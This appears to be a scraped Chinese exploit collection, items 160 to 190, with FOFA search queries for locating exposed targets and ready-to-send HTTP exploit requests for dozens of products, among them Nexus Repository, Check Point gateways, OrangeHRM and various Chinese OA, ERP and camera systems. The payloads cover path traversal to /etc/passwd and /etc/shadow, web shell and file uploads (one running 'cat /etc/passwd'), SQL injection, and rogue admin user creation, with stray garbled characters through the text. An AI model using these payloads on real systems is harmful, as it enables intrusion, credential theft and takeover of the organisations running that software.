: A; L7 w; z2 a" P0 c' Z5 M

160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
FOFA：title="Nexus Repository Manager"
  M9 \3 V: i  u6 f: \GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
5 W" |9 N, ^$ b) E. l/ d3 qAccept: */*
Accept-Language: en
Accept-Encoding: gzip

+ S1 O% n0 D4 K2 n% b
3 ~9 E6 q, N) M161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
- i  e: O, \: O, e+ X, JFOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
8 t' V6 x/ W2 p1 `; p' T; v& KHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
4 C' y) m: m% t8 }Connection: close
Content-Length: 445
2 G$ M( [" h1 u. U. JContent-Type: text/xml
) M7 J3 R9 b0 J7 o* R& IAccept-Encoding: gzip
% z! h" I9 U9 x: P4 l# J# W, I  u
<?xml version="1.0" encoding="utf-8"?>
9 X5 i& M7 M5 J1 S4 ~+ N! p<soap:Envelope xmlns:xsi="
7 B) b& D. x8 s  mhttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  |3 p8 o. ^' I" q, exmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
! G5 k, b- d; Y/ }<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
- g5 T% C* L& M<ip>1</ip>
: g1 l1 ?6 Z) `  [" g! g% B<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
. _2 V7 e, }" ]' B  k</UploadResume>
+ r: |6 e' V4 M</soap:Body>
</soap:Envelope>


1 [! j2 j  i, Z0 Q2 x9 lhttp://x.x.x.x/dizxdell.aspx

$ B/ e2 a: v, t7 {9 Q9 _162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
* v2 F# x/ g1 h3 U  _: `0 rPOST /QH.aspx HTTP/1.1
& J: Q9 [. e% ?; ]Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
  J8 p8 w1 s. d  T5 @$ \1 _4 h! GAccept-Encoding: gzip

4 f( E& b% ?1 Q* G( N  r------WebKitFormBoundaryeegvclmyurlotuey
; z4 R( F5 I6 W7 [' O$ KContent-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
0 \: l2 w- d- ?3 _3 Z5 X: @% t8 r" sContent-Type: application/octet-stream

6 _4 i9 V( i$ q! g$ s/ Q/ ]<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"
& ^7 @" Q" @- q! k" }% _% t
upload
8 b( p. ~3 v2 T6 [------WebKitFormBoundaryeegvclmyurlotuey
, m) j" {4 R7 ~8 D3 Z6 T0 f; b: \Content-Disposition: form-data; name="responderId"
; M8 e- P) @2 W0 t9 w, ~
ResourceNewResponder
& J0 o" v9 X+ S% m3 _& @------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"

. W/ B2 h1 |9 l  e- W5 G. c/opt/resources
% V$ m( g# M& E* D9 ^' H- `------WebKitFormBoundaryeegvclmyurlotuey--
$ R/ O7 {/ O; t6 F( s  m! b; O+ _
2 N# s" |9 f! q4 w" F7 d( s( |
http://x.x.x.x/opt/resources/kjuhitjgk.aspx

$ h2 q5 {* p0 g" U163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
" c) I9 h2 U( `. V1 Q/ [POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 293
  y! O4 ?* v  U+ \8 @0 s! n4 [Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

------iiqvnofupvhdyrcoqyuujyetjvqgocod
$ b3 \8 U  _5 e3 M- k* H6 H) {Content-Disposition: form-data; name="name"
+ h' x7 z7 t0 Y" C" y4 s' I& J
1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
! s$ z  e- d: `2 QContent-Disposition: form-data; name="upfile"; filename="1.php"
6 ^% {( p. o+ IContent-Type: image/jpeg

' W. R1 a$ k5 x8 r6 h* p$ v  lrvjhvbhwwuooyiioxega
; M7 d# O3 x. o' _------iiqvnofupvhdyrcoqyuujyetjvqgocod--

0 t" A7 s; V/ r2 ^% q3 z9 n& B
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
" d% x  n  t- ^1 J$ rFOFA: title="智慧综合管理平台登入"
& I* u; B" @) D$ _% }5 {0 I7 mPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
) [+ i8 r: H; Q9 s4 ~Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
, ~* i9 R) F4 D2 P0 mContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
0 K- ]! Z; j+ ?" U) f3 Z$ hX-Requested-With: XMLHttpRequest
9 U( v: A% q; K& J4 |! fAccept-Encoding: gzip
7 {' y5 p) N, o8 O' f# W
------dqdaieopnozbkapjacdbdthlvtlyl
' O' M% g  t% E( e/ ZContent-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
7 X6 K  I9 a9 F* G. ]* ~Content-Type: image/jpeg

<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
8 S0 ]- R5 ]* h/ p2 B8 u------dqdaieopnozbkapjacdbdthlvtlyl--

5 B* a, L2 I+ o& I' q$ ^- O' p
3 M4 G" g6 R5 ?4 }4 f' a! k2 j4 ehttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
( x6 {7 w  f) _" r& i1 B
2 I' U4 |' Y6 [# ^165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
+ d% ^; Q- }- I$ L2 n; AFOFA: app="OrangeHRM-产品"
! Y' K/ H) _  }2 sURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
; U; D! n. {3 }4 v2 H
+ q: y# u" [- B0 G; e+ D
5 {) t' @- u, [0 ]4 }166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
' Y' n3 C  j$ \. }  V1 |! w3 sPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
9 U1 S# G% `- q+ A5 nHost:
: ?8 L# B6 L, e1 ^# ZPragma: no-cache
( X- L4 ^  C. E+ ]  g6 p- D* pCache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
( n) G( W; d2 Z6 ?. O. s" tAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
! B5 ~" E: F- H- [2 p* P9 jCookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
! P* q+ S* S3 ?" S0 jContent-Type: application/x-www-form-urlencoded
  }+ u3 O" f6 r: _3 YContent-Length: 89

Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
/ I4 S, d0 K1 l8 G( T3 B, h

% o4 P' ?! H7 I' ?, P7 c167. 精益价值管理系统 DownLoad.aspx任意文件读取
' P8 Z7 K5 o) c/ |9 u; DFOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
  b. ?0 j/ N; T0 J% kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
( l! z" H! |* L! ]! lAccept-Encoding: gzip, deflate
# q/ Q1 b' j3 L6 CAccept: */*
" e1 X3 _6 |! [" i7 o2 _Connection: keep-alive
. Y) `8 ~$ p2 j0 W/ j& c. e# i  d
- |! \6 B8 s0 W. ?- _2 V
168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
% y2 X9 h$ J9 Y) @# c, tHost: your-ip
' }5 T3 b  Z" T  I. l, AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
1 k, N0 ]9 U$ j0 F: @Content-Type: application/x-www-form-urlencoded
' Y$ \) v/ [# H4 u6 y$ g; CConnection: close
$ s/ _! |9 S8 F1 E, t+ L* U


169. 宏景EHR downlawbase SQL注入
7 R5 g; P8 s( e+ U# N$ mFOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
4 L% m7 g7 G4 ?  Y5 kAccept: */*
Accept-Encoding: gzip, deflate
Connection: close



170. 宏景EHR DisplayExcelCustomReport 任意文件读取
; G2 d( I  {- T& `' \& Y4 C' C7 AFOFA：body="/general/sys/hjaxmanage.js"
! _! L$ @' Y* G9 o+ b7 ]9 j% a1 zPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
" B/ p/ s+ n  q0 O) DUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
% }, f$ x2 @7 j, G: w6 P, s( g/ hContent-Type: application/x-www-form-urlencoded

filename=../webapps/ROOT/WEB-INF/web.xml
- X) g$ D, f0 ]) d
9 W9 h9 ]- v0 E; O2 d$ w
171. 通天星CMSV6车载定位监控平台 SQL注入
2 G3 R( V. w& ?8 i6 ]/ y) sFOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
! z' f+ m0 O1 u7 n; lUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- l) ]% a, ~; V  F$ J: P0 l. i5 }Accept-Encoding: gzip, deflate
Connection: close
- n/ I/ W  [, u7 i1 d! F! A
: x( D9 n7 M6 q% I3 C7 ~8 u

172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
; M) H* F. p0 s2 [$ ~GET /../../../../etc/passwd HTTP/1.1
) ^, h3 s9 \- Z. T" lHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
$ Q' P1 |9 @" A" kAccept-Encoding: gzip, deflate
  c* x% |3 Z- E8 _) pAccept: */*
Connection: keep-alive
: Y2 }( j7 \: N) p( z4 c

( ]5 }. m6 Q6 P/ y- W; j- [1 e
173. Check Point 安全网关任意文件读取
) V7 \4 U) @& n$ V- eCVE-2024-24919
) @. v, j$ J. j! @  @, KFOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
. K) b1 n4 E, y6 q% L
aCSHELL/../../../../../../../etc/shadow


" Q9 y9 Q" j1 z! C* X& {% m
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
! k* h0 d! W3 r7 t( H. ~FOFA：app="金和网络-金和OA"
) \. @- M4 Y2 R, G  w  Z/ xGET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
, r, s2 o: w: gHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 m& U3 y4 |% ~0 q! _8 m/ FAccept-Encoding: gzip, deflate, br
8 G6 j$ `; o% DAccept-Language: zh-CN,zh;q=0.9
3 u0 j" l9 L( T) t+ A6 t# hConnection: close
8 F5 l: J! R  q
+ i  W: E6 o$ j% F/ _

175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
+ p3 ~" R  f0 t; B% YHost:
- a) n5 P- {, H4 I4 t9 i6 ~User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( Q; M" S7 `4 j/ WAccept-Encoding: gzip, deflate
Connection: close
) D6 E4 L( h) ?% M# K' \Upgrade-Insecure-Requests: 1
; [) n6 C! I$ V! X0 D; c

176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
+ C. o% t) d5 i9 K; ?Connection: close
. b  l. n" L, l% `/ D0 b
4 z% O+ C  F0 m. {  S------WebKitFormBoundaryOKldnDPT
5 G, q/ e# w% R# i; Y* L; w+ ZContent-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png

<?php system("cat /etc/passwd");unlink(__FILE__);?>
! x: C) R& m; Z3 v6 M. @. a------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"


/ p9 ]2 U/ D$ l. s! M0 j( u0 f, a------WebKitFormBoundaryOKldnDPT--



177. H3C路由器敏感信息泄露
  f/ p' m) N9 R5 x/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
( X6 V! u; J' Z* ^4 `/ w0 Y% y( X& X/userLogin.asp/../actionpolicy_status/../GR8300.cfg
( D  A" O8 S6 d5 Q' M! J7 y# z; h/userLogin.asp/../actionpolicy_status/../GR5200.cfg
3 v( ?8 d' y. s3 w: F4 M4 [/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
  u& H$ r1 W( J% S" K4 S/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
4 f, @0 `* p1 ^* ~4 w' {+ |/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
7 C. G; Q( h) o0 x; K/ T# g% b8 n/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
, o' B' }0 w4 d5 d9 |/userLogin.asp/../actionpolicy_status/../ER5100.cfg
: |6 o7 N8 u  C: h/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
# t2 `) v' H! Z/userLogin.asp/../actionpolicy_status/../ER3260.cfg
+ e% v) Y) U4 A; d6 ^& }/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
) L" Q# K$ S5 F( m( t0 f( b- G/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
8 S! o" \1 ]8 E/ y; Q1 h4 ?/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/ p) `1 e1 `- P  _1 c/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
( {+ f1 Z0 o, l
- C! l6 d" ~3 O; C1 C: C! n
% n  E. }' V  J- l& |4 A0 A. D178. H3C校园网自助服务系统-flexfileupload-任意文件上传
7 E  {) I( @# r2 }% u/ K' [6 mFOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
9 g& Y8 @5 I, W  L/ o% |- BAccept-Encoding: gzip, deflate
- G) x7 U; ^4 M' v3 uConnection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
8 m" g4 r- O4 n1 PContent-Type: application/octet-stream
Content-Length: 255

0 |8 _! Q& s. y) v# ]12234
9 Q# X: n  W* c) n( R-----------------aqutkea7vvanpqy3rh2l--

+ a) r1 v. S( \) M# W0 e* ]
GET /imc/primepush/%2e%2e/flex/12234.txt


  Q3 q& q% y+ A! i9 }7 n5 ^# ~4 p# K179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
+ @+ z/ ~. b% W" s8 l' C! AHost: {{Hostname}}
6 }& B1 y# `6 q. b5 @9 DContent-Type: application/x-www-form-urlencoded
* Z) T! F) o1 b! O8 A+ q2 MUser-Agent: Mozilla/5.0

7 E9 @! A' m- ]! @' d0 f" C: Opath=../log4net.config&Name=

  G1 _/ p8 {. l  W6 m+ w# C
180. 帮管客 CRM jiliyu SQL注入
% n: X$ [; R7 R+ QFOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
' o8 S9 B9 q, [Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 j2 U9 C/ [" v4 T. gAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
  r+ C2 z9 Z) yConnection: close


181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
% l, ~' d0 V+ aFOFA："PDCA/js/_publicCom.js"
: c4 u5 v2 h$ D- f/ OPOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
' l: R3 l, t8 Q: Q4 W: B7 @5 PAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
% Q" w9 ~( b+ t. q( q9 M: ]' n0 MAccept-Language: zh-CN,zh;q=0.9
4 l+ e: \- M3 N  k& E* T2 u) c$ e; V# MConnection: close
Content-Type: application/x-www-form-urlencoded
: o1 e4 [) ~) z. n) W

action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
9 T4 O# H6 i1 i0 v* w
0 C5 z3 w) h/ S/ J+ s; u
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
" E/ Q, e, U9 j7 Q$ DPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
; f, J3 D4 a/ D' OHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  }9 N" W8 e% L2 Y2 fAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
, N! b4 _( K1 d: N, q2 ~Connection: close
; g& B3 K4 p( S' Z9 m& |Content-Type: application/x-www-form-urlencoded
3 T! g' a! ]# h. _4 p
  f9 Z6 y+ X& O! P7 @
username=test1234&pwd=test1234&savedays=1

  ]5 d. S7 V- g) z7 c+ H
8 r9 T- r: e" ~: D183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
9 a9 F3 b9 i/ h. G- L- E) ?* t6 ?FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
4 v  [; h9 p0 _3 g0 J# E  DHost: your-ip
" U! _! ?/ O9 p# ?* J+ r% O0 P# G  kUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
; }# v" P* E% m' b6 Q" j: }0 [Accept-Charset: utf-8
/ e5 F6 X. V0 e8 \8 _( {3 |Accept-Encoding: gzip, deflate
Connection: close


! [( i5 v5 U! C184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
' u' ?" y, o& L5 E- F: A' N4 jFOFA：server="SunFull-Webs"
" S/ R& R" O* ]7 B  c5 DPOST /soap/AddUser HTTP/1.1
) `  @1 C7 z6 R0 u& z% ?$ D4 H: [Host: your-ip
9 }0 H5 Q6 T" @: `/ KAccept-Encoding: gzip, deflate
& B& \' F" ?0 A: {4 ?# }- oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
$ y- ~* O" I# f7 J- |Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest

3 e& w0 c  y% i9 z/ Q8 f- N" e. G* I
% V- P: j& l# k8 Oinsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
, x. j" K. j" R" |% L2 J

/ M+ v# B: n- g; H185. 瑞友天翼应用虚拟化系统SQL注入
% u: {1 _" ^+ w( j# P4 S7 bversion < 7.0.5.1
+ L4 T& _; t3 \% p% FFOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host
+ x6 s: O0 X  t7 v! A6 A

# E  q* D. Y9 s) V  j8 y4 e0 U5 N1 W186. F-logic DataCube3 SQL注入
0 T$ }1 ]% @/ l# j; f" pCVE-2024-31750
) }) d6 ?7 E3 r' Q  u' e) P3 B: yF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
8 C1 i6 A# S7 _: V6 T) lFOFA：title=="DataCube3"
- B! @7 ?3 `# w* S& H, PPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
0 _7 r# I: f1 C* G! XHost: your-ip
! u$ d) U. m9 Q: q6 nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
+ q9 ?  C2 ~& X& Q# \Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
3 W$ Q0 Z7 e2 f' kAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, a9 T3 Q0 W2 A. b, uAccept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
! f1 B& k/ d" p+ b1 d) S  ^* L
/ R6 y4 A6 G5 W% l* Ereq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450


187. Mura CMS processAsyncObject SQL注入
: y  i3 f5 C$ I% ~9 @& _$ N" k0 yCVE-2024-32640
$ U( j1 k: O) B. BFOFA："Mura CMS"
+ T$ m! Y9 U/ OPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
- I) ^9 l" T- I' p. W- r; ^2 Y4 `Content-Type: application/x-www-form-urlencoded

0 A( f. y( N' U/ ]9 w
9 x$ B. [+ G& L+ u4 Bobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
. }5 |* v, n1 |
/ ~  k5 H0 I, r+ ^/ {, S
188. 叁体-佳会视频会议 attachment 任意文件读取
/ T' S& v/ Q$ m7 ?7 {# ?2 Dversion <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
) B: R7 Y8 R- U; Z- qGET /attachment?file=/etc/passwd HTTP/1.1
3 t1 `2 k! g* f  Z) e$ ~Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
/ J  n6 d4 I' T; W$ X5 AAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
6 O, d- W, D/ x; o2 w2 d4 ], E
5 {+ L* B4 B  b
1 ^8 B6 t  a5 a; C. S189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
% I9 f% p0 A& ]% ^7 D4 k" GHost: your-ip
: D$ m* s9 `! k* sUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
2 o3 }1 W: V& ]  q/ d7 }, wConnection: close
4 m# f# ]" O2 v% u) x

190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
1 Y2 h( V/ S) P& _( h* |9 CHost: your-ip
2 q* R( q7 T) O' N7 X7 L: L% {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
. V* `' d9 O. ^/ H4 jContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
